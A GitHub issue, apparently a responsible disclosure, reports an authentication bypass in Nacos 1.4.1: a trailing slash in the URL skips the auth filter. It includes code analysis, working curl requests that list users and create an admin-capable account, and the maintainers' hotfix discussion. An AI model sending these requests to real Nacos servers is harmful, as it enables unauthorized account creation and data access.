Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Report a security vulnerability in nacos to bypass authentication(identity) again #4701

Closed
threedr3am opened this issue Jan 14, 2021 · 7 comments · Fixed by #4703
Closed
Labels
kind/bug Category issues or prs related to bug.
Milestone

Comments

@threedr3am
Copy link

---------------------------------------------------------------------------- english

Hello, I’m threedr3am. I found that the latest version 1.4.1 of nacos still has a bypass problem for the serverIdentity key-value repair mechanism that bypasses security vulnerabilities in User-Agent. The custom key-value authentication of serverIdentity is enabled in nacos. Later, through the special url structure, it is still possible to bypass the restriction to access any http interface.

By viewing this function, you need to add the configuration nacos.core.auth.enable.userAgentAuthWhite:false in application.properties to avoid the ```User-Agent: Nacos-Server`'' bypassing authentication safe question.

But after turning on the mechanism, I found from the code that I can still bypass it under certain circumstances, make it invalid, and call any interface. Through this vulnerability, I can bypass the authentication and do:

Call the add user interface, add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test), and then use the newly added user to log in to the console, Access, modify, and add data.

1. Vulnerability details

The problem mainly occurs in com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public class AuthFilter implements Filter {
    
    @Autowired
    private AuthConfigs authConfigs;
    
    @Autowired
    private AuthManager authManager;
    
    @Autowired
    private ControllerMethodsCache methodsCache;
    
    private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        
        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }
        
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        
        if (authConfigs.isEnableUserAgentAuthWhite()) {
            String userAgent = WebUtils.getUserAgent(req);
            if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
                chain.doFilter(request, response);
                return;
            }
        } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
                .isNotBlank(authConfigs.getServerIdentityValue())) {
            String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
            if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
                chain.doFilter(request, response);
                return;
            }
            Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
                    req.getRemoteHost());
        } else {
            resp.sendError(HttpServletResponse.SC_FORBIDDEN,
                    "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
                            + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
            return;
        }
        
        try {
            
            Method method = methodsCache.getMethod(req);
            
            if (method == null) {
                chain.doFilter(request, response);
                return;
            }
            
            ...鉴权代码
            
        }
        ...
    }
    ...
}

As you can see, the above three if else branches:

  • The first one is authConfigs.isEnableUserAgentAuthWhite(), its default value is true, when the value is true, it will judge whether the request header User-Agent matches User-Agent: Nacos-Server`` `, if it matches, skip all subsequent logic and execute chain.doFilter(request, response);```

  • The second one is StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())`, which is nacos 1.4.1 version for User-Agent: Nacos- Server``` Simple fix for security issues

  • The third one is to respond directly to the request to deny access when the previous two conditions are not met

The problem appears in the second branch. You can see that when the developer of nacos adds the configuration nacos.core.auth.enable.userAgentAuthWhite:false`'' in application.properties, the simple key-value authentication mechanism is turned on Then, it will get a value from the http header according to the nacos.core.auth.server.identity.keyconfigured by the developer, and then go to thenacos.core.auth.server. identity.value``` is matched, if it does not match, it will not enter the branch execution:

if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
    chain.doFilter(request, response);
    return;
}

But the problem is precisely here. The logic here should be to directly return denied access when there is a mismatch, but in fact we did not do this, which allows us to bypass the provision of conditions later.

Looking further down, the code comes to:

Method method = methodsCache.getMethod(req);
            
if (method == null) {
    chain.doFilter(request, response);
    return;
}

...鉴权代码

As you can see, there is a judgment method == null, as long as this condition is met, the subsequent authentication code will not go to.

By looking at the methodsCache.getMethod(req) code implementation, I found a method that can make the returned method null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

public Method getMethod(HttpServletRequest request) {
    String path = getPath(request);
    if (path == null) {
        return null;
    }
    String httpMethod = request.getMethod();
    String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
    List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
    if (CollectionUtils.isEmpty(requestMappingInfos)) {
        return null;
    }
    List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
    if (CollectionUtils.isEmpty(matchedInfo)) {
        return null;
    }
    RequestMappingInfo bestMatch = matchedInfo.get(0);
    if (matchedInfo.size() > 1) {
        RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
        matchedInfo.sort(comparator);
        bestMatch = matchedInfo.get(0);
        RequestMappingInfo secondBestMatch = matchedInfo.get(1);
        if (comparator.compare(bestMatch, secondBestMatch) == 0) {
            throw new IllegalStateException(
                    "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
                            + secondBestMatch + "}");
        }
    }
    return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
    String path = null;
    try {
        path = new URI(request.getRequestURI()).getPath();
    } catch (URISyntaxException e) {
        LOGGER.error("parse request to path error", e);
    }
    return path;
}

In this code, you can clearly see that the return of the method value depends on

String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);

The key of urlKey, whether the mapping value can be obtained from ConcurrentHashMap of urlLookup

In the composition of urlKey, there is a part of path, and there is a problem with the generation of this part. It is obtained in the following way:

new URI(request.getRequestURI()).getPath()

A normal visit, such as curl -XPOST'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test', the path obtained will be /nacos/v1/auth/users, and through a specially constructed URL, such as curl -XPOST'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password= test' --path-as-is, the path will be /nacos/v1/auth/users/

In this way, the path will be able to control the trailing slash'/', resulting in the method cannot be obtained from the ConcurrentHashMap urlLookup, why? Because basically all RequestMappings in nacos do not end with a slash'/', only The RequestMapping at the end of the non-slanted bar'/' exists and is stored in the ConcurrentHashMap of urlLookup, then the outermost method == null condition will be satisfied, thus bypassing the authentication mechanism.

2. The scope of the vulnerability

Sphere of influence: 1.4.1

3. loopholes reproduce

  1. Access user list interface
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'

As you can see, the authentication is bypassed and the user list data is returned

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}
  1. Add new user
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test --path-as-is'

As you can see, authentication has been bypassed and new users have been added

{
    "code":200,
    "message":"create user ok!",
    "data":null
}
  1. View user list again
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'

As you can see, in the returned user list data, there is one more user we created by bypassing authentication.

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}
  1. Visit the homepage http://127.0.0.1:8848/nacos/, log in to the new account, and you can do anything

---------------------------------------------------------------------------- 中文

你好,我是threedr3am,我发现nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentity key-value修复机制,依然存在绕过问题,在nacos开启了serverIdentity的自定义key-value鉴权后,通过特殊的url构造,依然能绕过限制访问任何http接口。

通过查看该功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server绕过鉴权的安全问题。

但在开启该机制后,我从代码中发现,任然可以在某种情况下绕过,使之失效,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:

调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。

一、漏洞详情

问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public class AuthFilter implements Filter {
    
    @Autowired
    private AuthConfigs authConfigs;
    
    @Autowired
    private AuthManager authManager;
    
    @Autowired
    private ControllerMethodsCache methodsCache;
    
    private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        
        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }
        
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        
        if (authConfigs.isEnableUserAgentAuthWhite()) {
            String userAgent = WebUtils.getUserAgent(req);
            if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
                chain.doFilter(request, response);
                return;
            }
        } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
                .isNotBlank(authConfigs.getServerIdentityValue())) {
            String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
            if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
                chain.doFilter(request, response);
                return;
            }
            Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
                    req.getRemoteHost());
        } else {
            resp.sendError(HttpServletResponse.SC_FORBIDDEN,
                    "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
                            + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
            return;
        }
        
        try {
            
            Method method = methodsCache.getMethod(req);
            
            if (method == null) {
                chain.doFilter(request, response);
                return;
            }
            
            ...鉴权代码
            
        }
        ...
    }
    ...
}

可以看到,上面三个if else分支:

  • 第一个是authConfigs.isEnableUserAgentAuthWhite(),它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response);

  • 第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复

  • 第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应

问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value进行匹配,若不匹配,则不进入分支执行:

if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
    chain.doFilter(request, response);
    return;
}

但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。

再往下看,代码来到:

Method method = methodsCache.getMethod(req);
            
if (method == null) {
    chain.doFilter(request, response);
    return;
}

...鉴权代码

可以看到,这里有一个判断method == null,只要满足这个条件,就不会走到后续的鉴权代码。

通过查看methodsCache.getMethod(req)代码实现,我发现了一个方法,可以使之返回的method为null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

public Method getMethod(HttpServletRequest request) {
    String path = getPath(request);
    if (path == null) {
        return null;
    }
    String httpMethod = request.getMethod();
    String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
    List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
    if (CollectionUtils.isEmpty(requestMappingInfos)) {
        return null;
    }
    List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
    if (CollectionUtils.isEmpty(matchedInfo)) {
        return null;
    }
    RequestMappingInfo bestMatch = matchedInfo.get(0);
    if (matchedInfo.size() > 1) {
        RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
        matchedInfo.sort(comparator);
        bestMatch = matchedInfo.get(0);
        RequestMappingInfo secondBestMatch = matchedInfo.get(1);
        if (comparator.compare(bestMatch, secondBestMatch) == 0) {
            throw new IllegalStateException(
                    "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
                            + secondBestMatch + "}");
        }
    }
    return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
    String path = null;
    try {
        path = new URI(request.getRequestURI()).getPath();
    } catch (URISyntaxException e) {
        LOGGER.error("parse request to path error", e);
    }
    return path;
}

这个代码里面,可以很明确的看到,method值的返回,取决于

String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);

urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值

而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:

new URI(request.getRequestURI()).getPath()

一个正常的访问,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path将会是/nacos/v1/auth/users,而通过特殊构造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path将会是/nacos/v1/auth/users/

通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null条件将能满足,从而,绕过该鉴权机制。

二、漏洞影响范围

影响范围:
1.4.1

三、漏洞复现

  1. 访问用户列表接口
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

可以看到,绕过了鉴权,返回了用户列表数据

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}
  1. 添加新用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

可以看到,绕过了鉴权,添加了新用户

{
    "code":200,
    "message":"create user ok!",
    "data":null
}
  1. 再次查看用户列表
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}
  1. 访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情

regards,
threedr3am

@KomachiSion KomachiSion added the kind/bug Category issues or prs related to bug. label Jan 14, 2021
@KomachiSion KomachiSion added this to the 1.4.1 milestone Jan 14, 2021
@KomachiSion
Copy link
Collaborator

@threedr3am

但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。

因为前面的代码是用来鉴别是否是服务端请求的,如果不是就需要走默认鉴权了。

这里修复如果把getPath那个异常抛出去, path那里不能返回null。
然后lookup添加的时候把带'/'不带'/'都当key加进去 是不是可以?

@threedr3am
Copy link
Author

@threedr3am

但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。

因为前面的代码是用来鉴别是否是服务端请求的,如果不是就需要走默认鉴权了。

这里修复如果把getPath那个异常抛出去, path那里不能返回null。
然后lookup添加的时候把带'/'不带'/'都当key加进去 是不是可以?

应该是的,因为spring security已经帮忙把脏字符拦截了,理论上这样可以解决这个问题,但是我不能百分百断定,因为spring security的代码我还没有完全研究过,有可能后续还会存在绕过方法。

@threedr3am
Copy link
Author

比如多加一个'/'或者通过/v1/../v1/的方式,目前spring security都会拦截掉的,所以这些feature无法绕过,但是我不确定有没有更特别的方式可以绕过spring security

KomachiSion added a commit to KomachiSion/nacos that referenced this issue Jan 14, 2021
@KomachiSion
Copy link
Collaborator

在PR进行了修复

  1. 添加对'/'结尾的uri的支持。
  2. 如果找不到实现直接返回404,不再进行后续操作。理论上只接受符合写法的openAPI path和集群通信的path

yanlinly pushed a commit that referenced this issue Jan 14, 2021
@KomachiSion
Copy link
Collaborator

1.4.1刚发布, 会直接在1.4.1进行hotfix。 请用户直接下载最新的1.4.1版本进行部署升级。

@key2wen
Copy link

key2wen commented Jan 19, 2021

image
这样处理不是把前端的一些 .css 请求也被拦截了吗?

wjm0729 added a commit to wjm0729/nacos that referenced this issue Jan 21, 2021
* 'develop' of https://github.com/alibaba/nacos:
  Use SafeConstructor to parse yaml configuration for AbstractConfigChangeListener (alibaba#4753)
  [ISSUE alibaba#3922] method createServiceIfAbsent in ServiceManager require sync (alibaba#4713)
  fix cloning configuration last desc (alibaba#4697)
  [ISSUE alibaba#4661]configServletInner#doGetConfig code optimization (alibaba#4666)
  Use revision to set version and upgrade to 1.4.2-SNAPSHOT (alibaba#4711)
  Revert interceptor all ui problem
  Fix alibaba#4701 (alibaba#4703)
  delete comment.
  fix metadata batch operation may delete instance problem.
  Upgrade to 1.4.1 (alibaba#4695)
  fix alibaba#4686 (alibaba#4692)
  Build nacos console front for 1.4.1 (alibaba#4690)
wjm0729 added a commit to wjm0729/nacos that referenced this issue Jan 21, 2021
…op-import-v1

* 'develop' of https://github.com/alibaba/nacos:
  Use SafeConstructor to parse yaml configuration for AbstractConfigChangeListener (alibaba#4753)
  [ISSUE alibaba#3922] method createServiceIfAbsent in ServiceManager require sync (alibaba#4713)
  fix cloning configuration last desc (alibaba#4697)
  [ISSUE alibaba#4661]configServletInner#doGetConfig code optimization (alibaba#4666)
  Use revision to set version and upgrade to 1.4.2-SNAPSHOT (alibaba#4711)
  Revert interceptor all ui problem
  Fix alibaba#4701 (alibaba#4703)
  delete comment.
  fix metadata batch operation may delete instance problem.
  Upgrade to 1.4.1 (alibaba#4695)
  fix alibaba#4686 (alibaba#4692)
  Build nacos console front for 1.4.1 (alibaba#4690)
  For checkstyle
  fix: fix Jraft WriteRequest type problem.
  Add server identity to replace user-agent white list. (alibaba#4683)
@gothburz
Copy link

Under 3. loopholes reproduce I believe you want:

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9' --path-as-is

not

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'

otherwise --path-as-is is added to the URI.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
kind/bug Category issues or prs related to bug.
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants